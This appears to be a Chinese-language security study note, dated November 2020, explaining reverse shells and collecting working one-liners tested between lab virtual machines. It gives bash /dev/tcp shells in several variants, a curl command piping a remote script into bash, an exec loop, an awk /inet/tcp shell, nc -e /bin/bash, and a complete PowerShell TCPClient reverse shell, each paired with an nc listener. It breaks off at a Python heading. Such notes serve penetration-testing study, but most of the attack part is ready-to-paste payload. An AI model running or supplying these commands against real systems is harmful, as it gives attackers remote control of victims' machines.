20201116-web方向-命令执行
反弹shell 的方式
什么是反弹shell:
简单理解,通常是我们主动发起请求,去访问服务器(某个IP的某个端口),比如我们常访问的web服务器:http(https)://ip:80
,这是因为在服务器上面开启了80端口的监听,我们去访问它的时候,就会给我们建立连接。而现在所谓的反弹shell
指的是反过来在我们自己的公网vps建立监听,然后让服务器反弹一个shell来连接我们自己的主机,然后我们就能通过反弹的shell去远程控制服务器了。
客户端连接服务端为正向连接(远程桌面、ssh等),反向连接弹shell(即反弹shell,攻击者为服务端,受害者主机为客户端主动连接攻击者的服务端)
原理:
让对方目标机器主动连接攻击者机器(攻击者指定服务端,受害者主机主动连接攻击者的服务端程序)
- 攻击者A开启1234端口TCP服务
- 受害者B连接1234端口TCP服务
- A、B建立TCP连接
- A通过TCP服务将待执行命令发送到B
- B执行命令后将结果发送给A
1、bash反弹shell,适用于攻击目标为Linux系统
bash一句话命令详解
bash -i :产生一个bash交互环境
>& : 将联合符号前面的内容与后面相结合然后一起重定向给后者
/dev/tcp/192.168.1.1/8080 :Linux环境中所有的内容都是以文件形式存在的,其实大家一看见这个内容就明白。就是让主机与目标主机192.168.1.1:8080端口建立一个tcp连接。
0>&1 :将标准的输入与标准输出内容相结合,然后重定向给前面标准的输出内容
例子:
在kali虚拟机中输入nc -lvp 1234,监听1234端口,kali作为攻击端
在Ubuntu虚拟机中输入bash -i >& /dev/tcp/192.168.230.146/1234 0>&1
再返回kali虚拟机中,会进入到被攻击者的用户下,此时就可以执行任何命令了。(会有网络延迟)
例子2,侦听1234端口,攻击端不能获得shell,但可以查看被攻击端命令输出的内容
攻击端开始侦听
被攻击端输入命令,输出内容被重定向到攻击端,所以在本地输入命令无法查看结果
结果在攻击端可以看到
例子3,使用输入重定向,将攻击端输入的内容当做命令执行(执行一次就断)
攻击端开始侦听端口
被攻击端执行以下命令
攻击端输入命令,被攻击端显示命令并执行(但是没有显示执行结果)
被攻击端显示了命令但是没有显示结果
例子4,为了获取交互式shell,需要使用文件描述符0>&1
同样,先在攻击端侦听1234端口
攻击端输入命令 nc -lvp 1234
被供给端输入命令 bash -i > /dev/tcp/192.168.230.146/1234 0>&1
然后在攻击端输入命令可以查看到执行结果,缺点是被攻击端也能看到攻击端输入的命令。
攻击端:
被攻击端:
例子5,使用>& / &>将标准输入和标准输出都重定向到文件即可完美使用bash反弹shell
攻击端输入命令 nc -lvp 1234
被攻击端输入命令 bash -i &> /dev/tcp/192.168.230.146/1234 0>&1
攻击端显示界面:输入命令后显示执行结果
被攻击端显示界面:
2、curl反弹shell
适用对象目标为Linux系统
攻击端启动HTTP服务,并在站点目录下存放一个文件,里面写着bash反弹shell命令(真实情况下需要VPS上部署HTTP服务,并建立如下文件)
攻击端侦听端口,被攻击端输入命令后建立连接
被攻击端输入命令 curl 192.168.230.147/reverse_shell|bash
原理:间接使用bash,使用curl访问远程站点下文件,并使用管道符重定向到bash
缺点:查看服务可以直接看到主机被攻陷
3、exec 反弹shell 目标为Linux系统
攻击端侦听1234端口
被攻击端输入命令 exec 5<>/dev/tcp/192.168.230.147/1234;cat <&5 | while read line; do $line 2>&5 >&5; done
攻击端查看状态,已成功,并可执行命令
4、AWK弹shell 目标为Linux系统
攻击端输入命令nc -lvp 1234 侦听1234端口
被攻击端输入awk 'BEGIN {s = "/inet/tcp/0/192.168.230.1/1234"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
攻击端成功进入shell,并执行命令
优点:长联,被攻击端一直保持向攻击端反弹shell状态
退出后,只要被攻击端没有手动结束,则会一直保持状态,攻击端退出后,不用再次执行命令就可用nc重新连入shell
5、netcat 反弹shell (都需要安装netcat)
攻击端输入nc -lvp 1234 进行侦听
被攻击端输入nc -e /bin/bash 192.168.230.1 1234
攻击端成功进入目标shell
6、Windows反弹shell -- powershell
攻击端输入nc -lvp 1234 侦听端口
被攻击端输入powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.230.148',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
攻击端成功进入Windows shell环境
7、python 反弹 shell